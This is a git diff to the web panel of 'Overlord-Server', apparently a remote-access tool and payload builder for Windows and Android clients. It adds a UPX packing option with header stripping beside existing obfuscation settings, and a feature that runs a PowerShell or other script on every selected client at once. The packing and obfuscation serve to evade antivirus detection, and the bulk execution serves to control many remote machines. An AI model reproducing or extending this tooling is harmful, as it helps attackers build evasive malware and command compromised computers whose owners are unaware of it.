diff --git a/.gitignore b/.gitignore index 1a26eaa..be4c43b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,7 @@ +# Local notes (never push) +TODO-IMPROVEMENTS.md +upx-reference.txt + # Node/Bun node_modules/ bun.lockb diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index b35972a..5b6ff6c 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -103,6 +103,18 @@ if (obfuscateCheckbox && garbleSettingsContainer) { }); } +const upxCheckbox = document.querySelector('input[name="enable-upx"]'); +const upxSettingsContainer = document.getElementById("upx-settings-container"); +if (upxCheckbox && upxSettingsContainer) { + upxCheckbox.addEventListener("change", () => { + if (upxCheckbox.checked) { + upxSettingsContainer.classList.remove("hidden"); + } else { + upxSettingsContainer.classList.add("hidden"); + } + }); +} + let pendingIconBase64 = null; const iconUpload = document.getElementById("icon-upload"); const iconLabel = document.getElementById("icon-label"); @@ -294,6 +306,8 @@ form?.addEventListener("submit", async (e) => { assemblyVersion: assemblyVersion || undefined, assemblyCopyright: assemblyCopyright || undefined, iconBase64: pendingIconBase64 || undefined, + enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false, + upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false, }; const hasAndroid = platforms.some(p => p.startsWith('android-')); diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index aec08f1..d7dabe2 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -586,6 +586,46 @@ bulkUninstallBtn?.addEventListener("click", async () => { setTimeout(() => loadWithOptions({ force: true }), 1000); }); +const massCmdInput = document.getElementById("mass-cmd-input"); +const massCmdType = document.getElementById("mass-cmd-type"); +const massCmdRun = document.getElementById("mass-cmd-run"); + +massCmdRun?.addEventListener("click", async () => { + const cmd = massCmdInput?.value.trim(); + if (!cmd) { + alert("Enter a command to execute."); + return; + } + const scriptType = massCmdType?.value || "powershell"; + const count = selectedClients.size; + if (count === 0) return; + if (!confirm(`Execute on ${count} client(s)?\n\n[${scriptType}] ${cmd}`)) return; + + massCmdRun.disabled = true; + massCmdRun.innerHTML = ' Running...'; + let success = 0; + for (const clientId of selectedClients) { + try { + const res = await fetch(`/api/clients/${clientId}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action: "script_exec", script: cmd, scriptType }), + }); + if (res.ok) success++; + } catch {} + } + massCmdRun.disabled = false; + massCmdRun.innerHTML = ' Execute'; + alert(`Command sent to ${success}/${count} clients`); +}); + +massCmdInput?.addEventListener("keydown", (e) => { + if (e.key === "Enter") { + e.preventDefault(); + massCmdRun?.click(); + } +}); + window.toggleClientSelection = toggleClientSelection; window.isClientSelected = (clientId) => selectedClients.has(clientId); window.syncClientSelection = syncSelectionState; diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index bc390c6..6a203f8 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -375,7 +375,8 @@
- Hide Console Window (Windows)Windows Builds Windows EXEs as GUI apps (no console)
+ + @@ -435,9 +467,9 @@
-